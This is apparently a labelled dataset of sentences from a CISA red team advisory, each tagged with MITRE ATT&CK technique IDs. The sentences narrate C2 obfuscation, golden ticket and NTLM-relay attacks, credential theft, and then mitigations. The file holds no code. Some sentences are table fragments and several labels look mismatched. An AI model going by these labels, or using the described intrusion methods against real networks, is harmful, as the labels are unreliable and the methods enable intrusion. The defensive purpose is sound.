{"sentence": "The team gathered a list of potential accounts, from which they identified administrators, such as SYSTEMS ADMIN or DATA SYSTEMS ADMINISTRATOR, with technical roles.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Using the same methodology as described by the steps in the Plan for Potential Access to SBS 1 section above, the team gained interactive root access to two Site 6 SBS 2-connected workstations: a software engineering workstation (Workstation 5) and a user administrator workstation (Workstation 6).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The Workstation 5 user had bash history files with what appeared to be SSH passwords mistyped into the bash prompt and saved in bash history", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then attempted to authenticate to SBS 2 using a similar tunnel setup as described in the Access to SBS 1 section above and the potential credentials from the user’s bash history file.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, this attempt was unsuccessful for unknown reasons.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "On Workstation 6, the team found a .txt file containing plaintext credentials for the user.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Using the pattern discovered in these credentials, the team was able to crack the user’s workstation account password", "labels": ["T1110"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team also discovered potential passwords and SSH connection commands in the user’s bash history.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Using a similar tunnel setup described above, the team attempted to log into SBS 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, a prompt for an MFA passcode blocked this attempt.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See figure 2 for a timeline of the team’s post exploitation activity that includes key points of access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1583] throughout their assessment, including in certain cases for command and control (C2)", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[TA0011].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These included: Cobalt Strike and Merlin payloads for C2 throughout the assessment.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They configured each server with a different domain and used the servers for communication with compromised hosts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These servers retained all assessment data.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Two commercially available cloud-computing platforms.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Redirecting servers make it difficult for defenders to attribute assessment activities to the backend team servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The redirectors used HTTPS reverse proxies to redirect C2 traffic between the target organization’s network and the Cobalt Strike team servers", "labels": ["T1071.001", "T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1071.002].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team encrypted all data in transit [T1573] using encryption keys stored on team’s Cobalt Strike servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "A cloud service to rapidly change the IP address of the team’s redirecting servers in the event of detection and eradication.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Content delivery network (CDN) services to further obfuscate some of the team’s C2 traffic.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This technique leverages CDNs associated with high-reputation domains so that the malicious traffic appears to be directed towards a reputation domain but is actually redirected to the red team-controlled Cobalt Strike servers.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See Table 1 for a description of the events, the expected network defender activity, and the organization’s actual response.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Table 1: Measurable Events Measurable Event Description MITRE ATT&CK Technique(s) Expected Detection Points Expected Network Defender Reactions Reported Reactions Internal Port Scan Launch scan from inside the network from a previously gained workstation to enumerate ports on target workstation, server, and domain controller system(s).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Network Service Discovery [T1046] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan None Comprehensive Active Directory and Host Enumeration Perform AD enumeration by querying all domain objects from the DC; and enumerating trust relationships within the AD Forest, user accounts, and current session information from every domain computer (Workstation and Server).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1087.002] System Owner/User Discovery [T1033] Remote System Discovery [T1018] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan Collection process stopped before completion.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Host isolated and sent for forensics.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1048] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan None Malicious Traffic Generation—Workstation to External Host Establish a session that originates from a target Workstation system directly to an external host over a clear text protocol, such as HTTP.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Application Layer Protocol", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1071] Intrusion Detection or Prevention Systems Endpoint Protection Platform Windows Event Logs Detect and Identify source IP and source process of enumeration Analyze scanning host once detected Develop response plan None Active Directory Account Lockout Lock out several administrative AD accounts Account Access Removal", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Create Account: Local Account [T1136.001] Account Manipulation [T1098] Intrusion Detection or Prevention Systems Endpoint Protection Platform Web Proxy Logs Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan None Local Admin User Account Creation (server) Create a local administrator account on a target server system.", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "None Active Directory Account Creation Create AD accounts and add it to domain admins group Create Account:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1136.002] Account Manipulation [T1098] Windows Event Logs Detect account creation Identify source of change Verify change with system owner", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Windows Service [T1543.003] Windows Event Logs Detect account compromise Analyze compromised host Develop response plan None Domain Admin Lateral Movement—Workstation to Domain Controller Use a previously compromised domain admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on a target DC.", "labels": ["T1078", "T1543.003", "T1569.002", "T1570"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Windows Service [T1543.003] Windows Event Logs Detect account compromise Triage compromised host Develop response plan None Malicious Traffic Generation—Domain Controller to External Host Establish a session that originates from a target Domain Controller system directly to an external host over a clear text protocol, such as HTTP.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ingress Tool Transfer [T1105] Endpoint Protection Platform Endpoint Detection and Response Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan Malicious file was removed by antivirus Ransomware Simulation Execute simulated ransomware on multiple Workstation systems to simulate a ransomware attack.", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: This technique does NOT encrypt files on the target system.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These findings contributed to the team’s ability to gain persistent, undetected access across the organization’s sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See the Mitigations section for recommendations on how to mitigate these issues.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Insufficient host and network monitoring.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Below is a list of some of the higher risk activities conducted by the team that were opportunities for detection: Phishing Lateral movement reuse Generation and use of the golden ticket Anomalous LDAP traffic Anomalous internal share enumeration Unconstrained Delegation server compromise DCSync Anomalous account usage during lateral movement Anomalous outbound network traffic Anomalous outbound SSH connections to the team’s cloud servers from workstations Lack of monitoring on endpoint management systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the organization’s MDM system to gain root access to machines across the organization’s network without being detected.", "labels": ["T1072"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Endpoint management systems provide elevated access to thousands of hosts and should be treated as high value assets (HVAs) with additional restrictions and monitoring.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "KRBTGT never changed.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The Site 1 krbtgt account password had not been updated for over a decade.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The krbtgt account is a domain default account that acts as a service account for the key distribution center (KDC) service used to encrypt and sign all Kerberos tickets for the domain.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team was able to use the krbtgt account to forge TGTs for multiple accounts throughout Phase I. Excessive permissions to standard users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This misconfiguration allowed the team to use the low-level access of a phished user to move laterally to an Unconstrained Delegation host and compromise the entire domain.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hosts with Unconstrained Delegation enabled unnecessarily.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hosts with Unconstrained Delegation enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform golden ticket or “silver ticket” attacks.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team performed an NTLM-relay attack to obtain the DC’s TGT, followed by a golden ticket attack on a SharePoint server with Unconstrained Delegation to gain the ability to impersonate any Site 1 AD account. Use of non-secure default configurations.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The organization used default configurations for hosts with Windows Server 2012 R2.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The default configuration allows unprivileged users to query group membership of local administrator groups.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team used and identified several standard user accounts with administrative access from a Windows Server 2012 R2 SharePoint server.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Additional Issues The team noted the following additional issues.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If a user with administrative access is compromised, an actor can access servers without needing to elevate privileges.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Administrative and user accounts should be separated, and designated admin accounts should be exclusively used for admin purposes.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Most servers, including domain controllers, allowed unrestricted egress traffic to the internet.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team noticed potentially unusual software, including music software, installed on both workstations and servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These extraneous software installations indicate inconsistent host configuration (see above) and increase the attack surfaces for malicious actors to gain initial access or escalate privileges once in the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Mandatory password changes enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During the assessment, the team keylogged a user during a mandatory password change and noticed that only the final character of their password was modified.", "labels": ["T1056.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Smart card use was inconsistent across the domain.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used these unprotected accounts throughout their assessment to move laterally through the domain and gain persistence.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Noted Strengths The red team noted the following technical controls or defensive measures that prevented or hampered offensive actions: The organization conducts regular, proactive penetration tests and adversarial assessments and invests in hardening their network based on findings.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team was unable to discover any easily exploitable services, ports, or web interfaces from more than three million external in-scope IPs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This forced the team to resort to phishing to gain initial access to the environment.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team did not discover any useful credentials on open file shares or file servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This slowed the progress of the team from moving around the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "MFA was used for some SBSs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team was blocked from moving to SBS 2 by an MFA prompt.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "There were strong security controls and segmentation for SBS systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Direct access to SBS were located in separate networks, and admins of SBS used workstations protected by local firewalls.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "MITIGATIONS CISA recommends organizations implement the recommendations in Table 2 to mitigate the issues listed in the Findings section of this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Table 2: Recommendations to Mitigate Identified Issues Issue Recommendation Insufficient host and network monitoring Establish a security baseline of normal network traffic and tune network appliances to detect anomalous behavior [CPG 3.1].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Create alerts for Windows event log authentication codes, especially for the domain controllers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "From a detection standpoint, focus on identity and access management (IAM) rather than just network traffic or static host alerts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Consider who is accessing what (what resource), from where (what internal host or external location), and when (what day and time the access occurs).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Look for access behavior that deviates from expected or is indicative of AD abuse.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Reduce the attack surface by limiting the use of legitimate administrative pathways and tools such as PowerShell, PSExec, and WMI, which are often used by malicious actors.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA recommends selecting one tool to administer the network, ensuring logging is turned on [CPG 3.1], and disabling the others.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Consider using “honeypot” service principal names (SPNs) to detect attempts to crack account hashes", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Consider using red team tools, such as SharpHound, for AD enumeration to identify users with excessive privileges and misconfigured hosts (e.g., with Unconstrained Delegation enabled).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ensure all commercial tools deployed in your environment are regularly tuned to pick up on relevant activity in your environment.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Lack of monitoring on endpoint management systems Treat endpoint management systems as HVAs with additional restrictions and monitoring because they provide elevated access to thousands of hosts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "KRBTGT never changed Change the krbtgt account password on a regular schedule such as every 6 to 12 months or if it becomes compromised.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note that this password change must be carefully performed to effectively change the credential without breaking AD functionality.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, the required waiting period between resets must be greater than the maximum lifetime period of Kerberos tickets, which is 10 hours by default.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Excessive permissions to standard users and ineffective separation of privileged accounts Implement the principle of least privilege: Grant standard user rights for standard user tasks such as email, web browsing, and using line-of-business (LOB) applications.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Periodically audit standard accounts and minimize where they have privileged access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Periodically Audit AD permissions to ensure users do not have excessive permissions and have not been added to admin groups.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Evaluate which administrative groups should administer which servers/workstations.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ensure group members administrative accounts instead of standard accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Separate administrator accounts from user accounts [CPG 1.5].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Only allow designated admin accounts to be used for admin purposes.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "PAM solutions can also log and alert usage to detect any unusual activity and may have helped stop the red team from accessing resources with admin accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: password vaults associated with PAM solutions should be treated as HVAs with additional restrictions and monitoring (see below).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Configure time-based access for accounts set at the admin level and higher.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege, as well as the Zero Trust model.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This is a process in which a network-wide policy is set in place to automatically disable administrator accounts at the AD level when the account is not in direct need.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "When individual users need the account, they submit their requests through an automated process that enables access to a system but only for a set timeframe to support task completion.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA recommends Windows Server 2019 or greater. Consider disabling or limiting NTLM and WDigest Authentication if possible, including using their use as criteria for prioritizing updates to legacy systems or for segmenting the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Instead use more modern federation protocols (SAML, OIDC) or Kerberos for authentication with AES-256 bit encryption [CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If NTLM must be enabled, enable Extended Protection for Authentication (EPA) to prevent some NTLM-relay attacks, and implement SMB signing to prevent certain adversary-in-the-middle and pass-the-hash attacks CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See Microsoft Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) and Microsoft Overview of Server Message Block signing for more information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use of non-secure default configurations Keep systems and software up to date", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If updates cannot be uniformly installed, update insecure configurations to meet updated standards. Lack of server egress control Configure internal firewalls and proxies to restrict internet traffic from hosts that do not require it.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If a host requires specific outbound traffic, consider creating an allowlist policy of domains.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Large number of credentials in a shared vault Treat password vaults as HVAs with additional restrictions and monitoring [CPG 3.4]: If on-premise, require MFA for admin and apply network segmentation [CPG 1.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use solutions with end-to-end encryption where applicable [CPG 3.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If cloud-based, evaluate the provider to ensure use of strong security controls such as MFA and end-to-end encryption", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 1.3, 3.3]. Inconsistent host configuration Establish a baseline/gold-image for workstations and servers and deploy from that image", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 2.5].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use standardized groups to administer hosts in the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Potentially unwanted programs Implement software allowlisting to ensure users can only install software from an approved list", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Mandatory password changes enabled Consider only requiring changes for memorized passwords in the event of compromise.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Additionally, CISA recommends organizations implement the mitigations below to improve their cybersecurity posture: Provide users with regular training and exercises, specifically related to phishing emails", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 4.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Phishing accounts for majority of initial access intrusion events.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Enforce phishing-resistant MFA to the greatest extent possible [CPG 1.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Reduce the risk of credential compromise via the following: Place domain admin accounts in the protected users group to prevent caching of password hashes locally; this also forces Kerberos AES authentication as opposed to weaker RC4 or NTLM.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Refrain from storing plaintext credentials in scripts [CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team discovered a PowerShell script containing plaintext credentials that allowed them to escalate to admin.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Upgrade to Windows Server 2019 or greater and Windows 10 or greater.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These versions have security features not included in older operating systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "As a long-term effort, CISA recommends organizations prioritize implementing a more modern, Zero Trust network architecture that: Leverages secure cloud services for key enterprise security capabilities (e.g., identity and access management, endpoint detection and response, policy enforcement).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Upgrades applications and infrastructure to leverage modern identity management and network access practices.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Centralizes and streamlines access to cybersecurity data to drive analytics for identifying and managing cybersecurity risks.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Invests in technology and personnel to achieve these goals.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA encourages organizational IT leadership to ask their executive leadership the question: Can the organization accept the business risk of NOT implementing critical security controls such as MFA?", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "To get started: Select an ATT&CK technique described in this advisory (see Table 3).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "RESOURCES See CISA’s RedEye tool on CISA’s GitHub page.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See CISA’s RedEye tool overview video for more information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "REFERENCES", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[1] Bleeping Computer: New DFSCoerce NTLM Relay attack allows Windows domain takeover APPENDIX: MITRE ATT&CK TACTICS AND TECHNIQUES See Table 3 for all referenced red team tactics and techniques in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: activity was from Phase I unless noted.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Table 3: Red Team ATT&CK Techniques for Enterprise Reconnaissance Technique Title ID Use Gather Victim Identity Information: Email Addresses T1589.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team found employee email addresses via open-source research.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team identified employee names via open-source research that could be used to derive email addresses.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Gather Victim Network Information: Network Security Appliances T1590.006 The team identified the organization’s MDM vendor and leveraged that information to move laterally to SBS-connected assets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Gather Victim Org Information T1591 The team conducted open-source research and identified an organizational branch that likely had access to an SBS asset.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
